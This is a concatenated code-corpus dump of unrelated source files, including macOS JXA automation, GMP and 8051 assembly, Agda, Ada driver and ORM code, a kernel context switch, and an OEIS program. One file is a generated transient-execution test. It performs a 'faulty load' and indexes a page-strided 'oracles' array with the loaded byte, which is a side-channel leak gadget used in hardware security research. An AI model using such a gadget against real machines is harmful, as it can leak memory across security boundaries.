// from outside its borders, so first go to (0, 0).
$.CGWarpMouseCursorPosition({x:0 , y:0});
mainDisplayWidth = $.CGDisplayPixelsWide($.CGMainDisplayID());
$.CGWarpMouseCursorPosition({x:mainDisplayWidth - 50, y: 81});
// Return mouse to original position and unhide it.
$.CGWarpMouseCursorPosition({x:loc.x, y:loc.y});
$.CGAssociateMouseAndMouseCursorPosition(true);
$.CGDisplayShowCursor(1);
// Paranoid error-handling
try {
Application("System Events")
.processes["Notification Center"]
.windows()[0]
.buttons["Reply"]
.click();
}
catch(err) { }
}; |
release/src/router/gmp/source/mpn/m68k/mc68020/udiv.asm | zhoutao0712/rtn11pb1 | 184 | 162461 | <filename>release/src/router/gmp/source/mpn/m68k/mc68020/udiv.asm
dnl mc68020 mpn_udiv_qrnnd -- 2x1 limb division
dnl Copyright 1999, 2000, 2001 Free Software Foundation, Inc.
dnl
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or
dnl modify it under the terms of the GNU Lesser General Public License as
dnl published by the Free Software Foundation; either version 3 of the
dnl License, or (at your option) any later version.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful,
dnl but WITHOUT ANY WARRANTY; without even the implied warranty of
dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
dnl Lesser General Public License for more details.
dnl
dnl You should have received a copy of the GNU Lesser General Public License
dnl along with the GNU MP Library. If not, see http://www.gnu.org/licenses/.
include(`../config.m4')
C mp_limb_t mpn_udiv_qrnnd (mp_limb_t *rp,
C mp_limb_t nh, mp_limb_t nl, mp_limb_t d);
C
PROLOGUE(mpn_udiv_qrnnd)
movel M(sp,4), a0 C rp
movel M(sp,8), d1 C nh
movel M(sp,12), d0 C nl
divul M(sp,16), d1:d0
movel d1, M(a0) C r
rts
EPILOGUE(mpn_udiv_qrnnd)
|
src/Categories/Category/Instance/Simplex.agda | MirceaS/agda-categories | 0 | 11862 | <reponame>MirceaS/agda-categories<gh_stars>0
{-# OPTIONS --without-K --safe #-}
open import Categories.Category
module Categories.Category.Instance.Simplex where
open import Level
open import Data.Product
open import Data.Fin
open import Data.Nat using (ℕ)
open import Function renaming (id to idF; _∘_ to _∙_)
open import Relation.Binary
open import Relation.Binary.PropositionalEquality
Δ : Category 0ℓ 0ℓ 0ℓ
Δ = record
{ Obj = ℕ
; _⇒_ = λ m n → Σ (Fin m → Fin n) (λ f → _≤_ =[ f ]⇒ _≤_)
; _≈_ = λ { (f , mf) (g , mg) → ∀ x → f x ≡ g x }
; id = idF , idF
; _∘_ = λ { (f , mf) (g , mg) → f ∙ g , mf ∙ mg }
; assoc = λ _ → refl
; sym-assoc = λ _ → refl
; identityˡ = λ _ → refl
; identityʳ = λ _ → refl
; identity² = λ _ → refl
; equiv = record
{ refl = λ _ → refl
; sym = λ eq x → sym (eq x)
; trans = λ eq₁ eq₂ x → trans (eq₁ x) (eq₂ x)
}
; ∘-resp-≈ = λ {_ _ _ f g h i} eq₁ eq₂ x → trans (cong (λ t → proj₁ f t) (eq₂ x)) (eq₁ (proj₁ i x))
}
|
third_party/universal-ctags/ctags/Units/parser-ada.r/ada-etags-suffix.d/input_0.adb | f110/wing | 1 | 22418 | <reponame>f110/wing<filename>third_party/universal-ctags/ctags/Units/parser-ada.r/ada-etags-suffix.d/input_0.adb
package body Input_0 is
function My_Function return Boolean is
begin
return True;
end My_Function;
procedure My_Procedure is
begin
null;
end My_Procedure;
task body My_Task is
begin
accept GET (X: in My_T) do
null;
end GET;
end My_Task;
end Input_0;
|
oeis/163/A163071.asm | neoneye/loda-programs | 11 | 11306 | ; A163071: a(n) = ((4+sqrt(5))*(3+sqrt(5))^n + (4-sqrt(5))*(3-sqrt(5))^n)/2.
; 4,17,86,448,2344,12272,64256,336448,1761664,9224192,48298496,252894208,1324171264,6933450752,36304019456,190090313728,995325804544,5211593572352,27288258215936,142883175006208,748146017173504,3917343403016192,20511476349403136,107399484484354048,562351001508511744,2944508071113654272,15417644420647878656,80727834239432654848,422696427754004414464,2213267229566295867392,11588817666381757546496,60679837080025361809408,317723751814625140670464,1663623162567649396785152,8710843968147395818029056
add $0,1
mov $1,7
mov $2,-3
lpb $0
sub $0,1
add $1,$2
add $2,$1
mul $1,4
lpe
div $1,4
mov $0,$1
|
src/kernel/scheduler/context_switch.asm | martinszeltins/vertex | 0 | 167912 | <gh_stars>0
;Context switch function, its c prototype is the following
;void switch_task(task_regs_t * curr_regs, task_regs_t * next_regs);
;Basically, it saves current cpu registers to 'curr_regs', and then load 'next_regs' to current cpu registers
; Equivalent c prototype void regs_switch(context_t * regs);
global user_regs_switch
global kernel_regs_switch
user_regs_switch:
; Load general registers
; Skip return address, and get the pointer regs
mov ebp, [esp + 4]
mov ecx, [ebp + 4]
mov edx, [ebp + 8]
mov ebx, [ebp + 12]
mov esi, [ebp + 24]
mov edi, [ebp + 28]
; load eflags
;mov eax, [ebp + 32]
;push eax
;popfd
; Right now, eax, ebp, esp are not restored yet
; Enter usermode from here(make sure the registers are restored correctly for the user process !)
mov ax, 0x23
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
push 0x23
; Push user esp
mov eax, [ebp + 16]
push eax
mov eax, [ebp + 32]
push eax
;pushfd
push 0x1b
; Push eip
mov eax, [ebp + 40]
push eax
; Enter usermode from here(make sure the registers are restored correctly for the user process !)
; Load eax here
mov eax, [ebp + 0]
; Now, restore ebp
mov ebp, [ebp + 20]
; sti
iret
kernel_regs_switch:
; Load general registers
; Skip return address, and get the pointer regs
mov ebp, [esp + 4]
mov ecx, [ebp + 4]
mov edx, [ebp + 8]
mov ebx, [ebp + 12]
mov esi, [ebp + 24]
mov edi, [ebp + 28]
; load eflags
mov eax, [ebp + 32]
push eax
popfd
; Right now, eax, ebp, esp are not restored yet
; Enter usermode from here(make sure the registers are restored correctly for the user process !)
mov ax, 0x10
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
push 0x10
; Push user esp
mov eax, [ebp + 16]
push eax
pushfd
push 0x08
; Push eip
mov eax, [ebp + 40]
push eax
; Enter usermode from here(make sure the registers are restored correctly for the user process !)
; Load eax here
mov eax, [ebp + 0]
; Now, restore ebp
mov ebp, [ebp + 20]
sti
iret
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_10934_990.asm | ljhsiun2/medusa | 9 | 246990 | <filename>Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2.log_10934_990.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r14
push %r8
push %r9
push %rax
push %rbx
push %rcx
lea addresses_WC_ht+0x457, %rbx
nop
nop
nop
nop
nop
xor $10039, %rax
movb (%rbx), %r14b
nop
xor %r8, %r8
lea addresses_WC_ht+0x19897, %rcx
clflush (%rcx)
add %r14, %r14
movb $0x61, (%rcx)
dec %rcx
lea addresses_D_ht+0x17a57, %r8
nop
nop
dec %r11
mov (%r8), %r9d
nop
nop
nop
sub $17562, %rbx
lea addresses_WC_ht+0x197b7, %rcx
clflush (%rcx)
xor %r9, %r9
movups (%rcx), %xmm3
vpextrq $1, %xmm3, %rbx
nop
nop
nop
xor $9988, %rax
pop %rcx
pop %rbx
pop %rax
pop %r9
pop %r8
pop %r14
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r15
push %r8
push %rbx
push %rcx
push %rdx
push %rsi
// Store
lea addresses_RW+0x14157, %r8
nop
add %r12, %r12
movw $0x5152, (%r8)
add $30645, %rdx
// Store
lea addresses_US+0x13a13, %rsi
nop
nop
nop
nop
nop
sub $22146, %rcx
mov $0x5152535455565758, %rbx
movq %rbx, %xmm1
vmovups %ymm1, (%rsi)
nop
nop
nop
nop
and $47101, %rcx
// Load
lea addresses_D+0x12a57, %rbx
nop
and %r15, %r15
mov (%rbx), %r12
nop
cmp $39735, %rdx
// Store
lea addresses_normal+0x127df, %r12
nop
nop
nop
nop
nop
add %r15, %r15
mov $0x5152535455565758, %rbx
movq %rbx, %xmm0
vmovups %ymm0, (%r12)
nop
nop
nop
nop
nop
add $39348, %r8
// Store
lea addresses_WC+0x657, %r15
nop
nop
nop
nop
nop
xor $59716, %r8
movl $0x51525354, (%r15)
nop
nop
nop
nop
sub $4517, %rcx
// Faulty Load
lea addresses_D+0x12a57, %r12
nop
inc %rcx
mov (%r12), %rbx
lea oracles, %r8
and $0xff, %rbx
shlq $12, %rbx
mov (%r8,%rbx,1), %rbx
pop %rsi
pop %rdx
pop %rcx
pop %rbx
pop %r8
pop %r15
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': True, 'NT': False, 'congruent': 6, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': True}}
{'36': 10934}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
Cubical/Data/Queue.agda | cmester0/cubical | 1 | 9694 | <reponame>cmester0/cubical
{-# OPTIONS --cubical --safe #-}
module Cubical.Data.Queue where
open import Cubical.Data.Queue.Base public
|
tools/asmx2/test/8051.asm | retro16/blastsdk | 10 | 15818 | ; 8051.ASM
dir equ 'D'
imm equ 'I'
bit equ 0x28
b equ 0x02
ad16 equ $1234
NOP ; 00
AJMP $0001 ; 01 xx
LJMP ad16 ; 02 xxxx
RR A ; 03
INC A ; 04
INC dir ; 05 dir
INC @R0 ; 06
INC @R1 ; 07
INC R0 ; 08
INC R1 ; 09
INC R2 ; 0A
INC R3 ; 0B
INC R4 ; 0C
INC R5 ; 0D
INC R6 ; 0E
INC R7 ; 0F
JBC bit.b,. ; 10 bit rel
ACALL $0011 ; 11 xx
LCALL ad16 ; 12 xxxx
RRC A ; 13
DEC A ; 14
DEC dir ; 15 dir
DEC @R0 ; 16
DEC @R1 ; 17
DEC R0 ; 18
DEC R1 ; 19
DEC R2 ; 1A
DEC R3 ; 1B
DEC R4 ; 1C
DEC R5 ; 1D
DEC R6 ; 1E
DEC R7 ; 1F
JB bit.b,. ; 20 bit rel
AJMP $0121 ; 21 xx
RET ; 22
RL A ; 23
ADD A,#imm ; 24 imm
ADD A,dir ; 25 dir
ADD A,@R0 ; 26
ADD A,@R1 ; 27
ADD A,R0 ; 28
ADD A,R1 ; 29
ADD A,R2 ; 2A
ADD A,R3 ; 2B
ADD A,R4 ; 2C
ADD A,R5 ; 2D
ADD A,R6 ; 2E
ADD A,R7 ; 2F
JNB bit.b,. ; 30 bit rel
ACALL $0131 ; 31 xx
RETI ; 32
RLC A ; 33
ADDC A,#imm ; 34 imm
ADDC A,dir ; 35 dir
ADDC A,@R0 ; 36
ADDC A,@R1 ; 37
ADDC A,R0 ; 38
ADDC A,R1 ; 39
ADDC A,R2 ; 3A
ADDC A,R3 ; 3B
ADDC A,R4 ; 3C
ADDC A,R5 ; 3D
ADDC A,R6 ; 3E
ADDC A,R7 ; 3F
JC . ; 40 rel
AJMP $0241 ; 41 xx
ORL dir,A ; 42 dir
ORL dir,#imm; 43 dir imm
ORL A,#imm ; 44 imm
ORL A,dir ; 45 dir
ORL A,@R0 ; 46
ORL A,@R1 ; 47
ORL A,R0 ; 48
ORL A,R1 ; 49
ORL A,R2 ; 4A
ORL A,R3 ; 4B
ORL A,R4 ; 4C
ORL A,R5 ; 4D
ORL A,R6 ; 4E
ORL A,R7 ; 4F
JNC . ; 50 rel
ACALL $0251 ; 51 xx
ANL dir,A ; 52 dir
ANL dir,#imm; 53 dir imm
ANL A,#imm ; 54 imm
ANL A,dir ; 55 dir
ANL A,@R0 ; 56
ANL A,@R1 ; 57
ANL A,R0 ; 58
ANL A,R1 ; 59
ANL A,R2 ; 5A
ANL A,R3 ; 5B
ANL A,R4 ; 5C
ANL A,R5 ; 5D
ANL A,R6 ; 5E
ANL A,R7 ; 5F
JZ . ; 60 rel
AJMP $0361 ; 61 xx
XRL dir,A ; 62 dir
XRL dir,#imm; 63 dir imm
XRL A,#imm ; 64 imm
XRL A,dir ; 65 dir
XRL A,@R0 ; 66
XRL A,@R1 ; 67
XRL A,R0 ; 68
XRL A,R1 ; 69
XRL A,R2 ; 6A
XRL A,R3 ; 6B
XRL A,R4 ; 6C
XRL A,R5 ; 6D
XRL A,R6 ; 6E
XRL A,R7 ; 6F
JNZ . ; 70 rel
ACALL $0371 ; 71 xx
ORL C,bit.b ; 72 bit
JMP @A+DPTR ; 73
MOV A,#imm ; 74 imm
MOV dir,#imm; 75 dir imm
MOV @R0,#imm; 76 imm
MOV @R1,#imm; 77 imm
MOV R0,#imm ; 78 imm
MOV R1,#imm ; 79 imm
MOV R2,#imm ; 7A imm
MOV R3,#imm ; 7B imm
MOV R4,#imm ; 7C imm
MOV R5,#imm ; 7D imm
MOV R6,#imm ; 7E imm
MOV R7,#imm ; 7F imm
SJMP . ; 80 rel
AJMP $0481 ; 81 xx
ANL C,bit.b ; 82 bit
MOVC A,@A+PC ; 83
DIV AB ; 84
MOV dir,dir+1 ; 85 src dst
MOV dir,@R0 ; 86 dir
MOV dir,@R1 ; 87 dir
MOV dir,R0 ; 88 dir
MOV dir,R1 ; 89 dir
MOV dir,R2 ; 8A dir
MOV dir,R3 ; 8B dir
MOV dir,R4 ; 8C dir
MOV dir,R5 ; 8D dir
MOV dir,R6 ; 8E dir
MOV dir,R7 ; 8F dir
MOV DPTR,#ad16 ; 90 xxxx
ACALL $0491 ; 91 xx
MOV bit.b,C ; 92 bit
MOVC A,@A+DPTR ; 93
SUBB A,#imm ; 94 imm
SUBB A,dir ; 95 dir
SUBB A,@R0 ; 96
SUBB A,@R1 ; 97
SUBB A,R0 ; 98
SUBB A,R1 ; 99
SUBB A,R2 ; 9A
SUBB A,R3 ; 9B
SUBB A,R4 ; 9C
SUBB A,R5 ; 9D
SUBB A,R6 ; 9E
SUBB A,R7 ; 9F
ORL C,/bit.b ; A0 bit
AJMP $05A1 ; A1 xx
MOV C,bit.b ; A2 bit
INC DPTR ; A3
MUL AB ; A4
DB A5H
MOV @R0,dir ; A6 dir
MOV @R1,dir ; A7 dir
MOV R0,dir ; A8 dir
MOV R1,dir ; A9 dir
MOV R2,dir ; AA dir
MOV R3,dir ; AB dir
MOV R4,dir ; AC dir
MOV R5,dir ; AD dir
MOV R6,dir ; AE dir
MOV R7,dir ; AF dir
ANL C,/bit.b ; B0 bit
ACALL $05B1 ; B1 xx
CPL bit.b ; B2 bit
CPL C ; B3
CJNE A,#imm,.; B4 imm rel
CJNE dir,. ; B5 dir rel
CJNE @R0,#imm,.; B6 imm rel
CJNE @R1,#imm,.; B7 imm rel
CJNE R0,#imm,.; B8 imm rel
CJNE R1,#imm,.; B9 imm rel
CJNE R2,#imm,.; BA imm rel
CJNE R3,#imm,.; BB imm rel
CJNE R4,#imm,.; BC imm rel
CJNE R5,#imm,.; BD imm rel
CJNE R6,#imm,.; BE imm rel
CJNE R7,#imm,.; BF imm rel
PUSH dir ; C0 dir
AJMP $06C1 ; C1 xx
CLR bit.b ; C2 bit
CLR C ; C3
SWAP A ; C4
XCH A,dir ; C5 dir
XCH A,@R0 ; C6
XCH A,@R1 ; C7
XCH A,R0 ; C8
XCH A,R1 ; C9
XCH A,R2 ; CA
XCH A,R3 ; CB
XCH A,R4 ; CC
XCH A,R5 ; CD
XCH A,R6 ; CE
XCH A,R7 ; CF
POP dir ; D0 dir
ACALL $06D1 ; D1 xx
SETB bit.b ; D2 bit
SETB C ; D3
DA A ; D4
DJNZ dir,. ; D5 dir rel
XCHD A,@R0 ; D6
XCHD A,@R1 ; D7
DJNZ R0,. ; D8 rel
DJNZ R1,. ; D9 rel
DJNZ R2,. ; DA rel
DJNZ R3,. ; DB rel
DJNZ R4,. ; DC rel
DJNZ R5,. ; DD rel
DJNZ R6,. ; DE rel
DJNZ R7,. ; DF rel
MOVX A,@DPTR ; E0
AJMP $07E1 ; E1 xx
MOVX A,@R0 ; E2
MOVX A,@R1 ; E3
CLR A ; E4
MOV A,dir ; E5 dir
MOV A,@R0 ; E6
MOV A,@R1 ; E7
MOV A,R0 ; E8
MOV A,R1 ; E9
MOV A,R2 ; EA
MOV A,R3 ; EB
MOV A,R4 ; EC
MOV A,R5 ; ED
MOV A,R6 ; EE
MOV A,R7 ; EF
MOVX @DPTR,A ; F0
ACALL $07F1 ; F1 xx
MOVX @R0,A ; F2
MOVX @R1,A ; F3
CPL A ; F4
MOV dir,A ; F5 dir
MOV @R0,A ; F6
MOV @R1,A ; F7
MOV R0,A ; F8
MOV R1,A ; F9
MOV R2,A ; FA
MOV R3,A ; FB
MOV R4,A ; FC
MOV R5,A ; FD
MOV R6,A ; FE
MOV R7,A ; FF
|
src/model/ado-model.adb | My-Colaborations/ada-ado | 0 | 29727 | -----------------------------------------------------------------------
-- ADO.Model -- ADO.Model
-----------------------------------------------------------------------
-- File generated by ada-gen DO NOT MODIFY
-- Template used: templates/model/package-body.xhtml
-- Ada Generator: https://ada-gen.googlecode.com/svn/trunk Revision 166
-----------------------------------------------------------------------
-- Copyright (C) 2011, 2012 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with ADO.Objects;
package body ADO.Model is
-- ----------------------------------------
-- Data object: Sequence
-- ----------------------------------------
procedure Set_Name (Object : in out Sequence_Ref;
Value : in String) is
begin
Object.Id := Ada.Strings.Unbounded.To_Unbounded_String (Value);
end Set_Name;
procedure Set_Name (Object : in out Sequence_Ref;
Value : in Ada.Strings.Unbounded.Unbounded_String) is
begin
Object.Id := Value;
end Set_Name;
function Get_Name (Object : in Sequence_Ref)
return String is
begin
return Ada.Strings.Unbounded.To_String (Object.Get_Name);
end Get_Name;
function Get_Name (Object : in Sequence_Ref)
return Ada.Strings.Unbounded.Unbounded_String is
begin
return Object.Id;
end Get_Name;
function Get_Version (Object : in Sequence_Ref)
return Integer is
begin
return Object.Version;
end Get_Version;
procedure Set_Value (Object : in out Sequence_Ref;
Value : in ADO.Identifier) is
begin
Object.Value := Value;
Object.Need_Save := True;
end Set_Value;
function Get_Value (Object : in Sequence_Ref)
return ADO.Identifier is
begin
return Object.Value;
end Get_Value;
procedure Set_Block_Size (Object : in out Sequence_Ref;
Value : in ADO.Identifier) is
begin
Object.Block_Size := Value;
end Set_Block_Size;
function Get_Block_Size (Object : in Sequence_Ref)
return ADO.Identifier is
begin
return Object.Block_Size;
end Get_Block_Size;
-- ------------------------------
-- Load the object from current iterator position
-- ------------------------------
procedure Load (Object : in out Sequence_Ref;
Stmt : in out ADO.Statements.Query_Statement'Class;
Session : in out ADO.Sessions.Session'Class) is
pragma Unreferenced (Session);
begin
Object.Id := Stmt.Get_Unbounded_String (0);
Object.Value := Stmt.Get_Identifier (2);
Object.Block_Size := Stmt.Get_Identifier (3);
Object.Version := Stmt.Get_Integer (1);
end Load;
procedure Find (Object : in out Sequence_Ref;
Session : in out ADO.Sessions.Session'Class;
Query : in ADO.SQL.Query'Class;
Found : out Boolean) is
Stmt : ADO.Statements.Query_Statement
:= Session.Create_Statement (SEQUENCE_TABLE'Access);
begin
Stmt.Set_Parameters (Query);
Stmt.Execute;
if Stmt.Has_Elements then
Object.Load (Stmt, Session);
Stmt.Next;
Found := not Stmt.Has_Elements;
else
Found := False;
end if;
end Find;
procedure Save (Object : in out Sequence_Ref;
Session : in out ADO.Sessions.Master_Session'Class) is
Stmt : ADO.Statements.Update_Statement
:= Session.Create_Statement (SEQUENCE_TABLE'Access);
begin
-- if Object.Need_Save then
-- Stmt.Save_Field (Name => COL_0_1_NAME, -- name
-- Value => Object.Get_Key);
-- Object.Clear_Modified (1);
-- end if;
if Object.Need_Save then
Stmt.Save_Field (Name => COL_2_1_NAME, -- value
Value => Object.Value);
end if;
-- if Object.Is_Modified (4) then
-- Stmt.Save_Field (Name => COL_3_1_NAME, -- block_size
-- Value => Object.Block_Size);
-- Object.Clear_Modified (4);
-- end if;
if Stmt.Has_Save_Fields then
Object.Version := Object.Version + 1;
Stmt.Save_Field (Name => "version",
Value => Object.Version);
Stmt.Set_Filter (Filter => "name = ? and version = ?");
Stmt.Add_Param (Value => Object.Id);
Stmt.Add_Param (Value => Object.Version - 1);
declare
Result : Integer;
begin
Stmt.Execute (Result);
if Result /= 1 then
if Result /= 0 then
raise ADO.Objects.UPDATE_ERROR;
else
raise ADO.Objects.LAZY_LOCK;
end if;
end if;
end;
end if;
end Save;
procedure Create (Object : in out Sequence_Ref;
Session : in out ADO.Sessions.Master_Session'Class) is
Query : ADO.Statements.Insert_Statement
:= Session.Create_Statement (SEQUENCE_TABLE'Access);
Result : Integer;
begin
Object.Version := 1;
Query.Save_Field (Name => COL_0_1_NAME, -- name
Value => Object.Id);
Query.Save_Field (Name => COL_1_1_NAME, -- version
Value => Object.Version);
Query.Save_Field (Name => COL_2_1_NAME, -- value
Value => Object.Value);
Query.Save_Field (Name => COL_3_1_NAME, -- block_size
Value => Object.Block_Size);
Query.Execute (Result);
if Result /= 1 then
raise ADO.Objects.INSERT_ERROR;
end if;
end Create;
end ADO.Model;
|
examples/nrf24_zfp/main.adb | ekoeppen/STM32_Generic_Ada_Drivers | 1 | 13845 | <reponame>ekoeppen/STM32_Generic_Ada_Drivers<gh_stars>1-10
with STM32GD.Board; use STM32GD.Board;
with STM32GD.GPIO; use STM32GD.GPIO;
with STM32GD.GPIO.Pin;
with Drivers.Text_IO;
with Peripherals;
procedure Main is
procedure Print_Registers is new Peripherals.Radio.Print_Registers (Put_Line => Text_IO.Put_Line);
procedure RX_Test is
RX_Address : constant Peripherals.Radio.Address_Type := (16#00#, 16#F0#, 16#F0#, 16#F0#, 16#F0#);
begin
Text_IO.Put_Line ("Starting RX test");
Peripherals.Radio.Set_RX_Address (RX_Address);
Peripherals.Radio.RX_Mode;
loop
LED.Toggle;
if Peripherals.Radio.Wait_For_RX then
Text_IO.Put_Line ("Packet received");
end if;
Print_Registers;
end loop;
end RX_Test;
procedure TX_Test is
Broadcast_Address : constant Peripherals.Radio.Address_Type := (16#00#, 16#F0#, 16#F0#, 16#F0#, 16#F0#);
TX_Data : constant Peripherals.Radio.Packet_Type := (16#00#, 16#FF#, 16#00#, 16#00#, 16#00#, 16#00#, 16#00#, 16#FF#, 16#55#);
Line : String (1 .. 8);
Len : Natural;
begin
Text_IO.Put_Line ("Starting TX test");
Peripherals.Radio.Set_TX_Address (Broadcast_Address);
loop
Text_IO.Put_Line ("Press <enter>");
Text_IO.Get_Line (Line, Len);
LED.Set;
Peripherals.Radio.TX_Mode;
Peripherals.Radio.TX (TX_Data);
Peripherals.Radio.Power_Down;
Text_IO.Put_Line ("Packet sent");
Print_Registers;
LED.Clear;
end loop;
end TX_Test;
begin
Init;
Peripherals.Init;
Peripherals.Radio.Set_Channel (70);
Print_Registers;
TX_Test;
end Main;
|
tools-src/gnu/gcc/gcc/ada/exp_disp.ads | enfoTek/tomato.linksys.e2000.nvram-mod | 80 | 16465 | <gh_stars>10-100
------------------------------------------------------------------------------
-- --
-- GNAT COMPILER COMPONENTS --
-- --
-- E X P _ D I S P --
-- --
-- S p e c --
-- --
-- $Revision$
-- --
-- Copyright (C) 1992-1998 Free Software Foundation, Inc. --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 2, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License --
-- for more details. You should have received a copy of the GNU General --
-- Public License distributed with GNAT; see file COPYING. If not, write --
-- to the Free Software Foundation, 59 Temple Place - Suite 330, Boston, --
-- MA 02111-1307, USA. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
-- This package contains routines involved in tagged types and dynamic
-- dispatching expansion
with Types; use Types;
package Exp_Disp is
type DT_Access_Action is
(CW_Membership,
DT_Entry_Size,
DT_Prologue_Size,
Get_Expanded_Name,
Get_External_Tag,
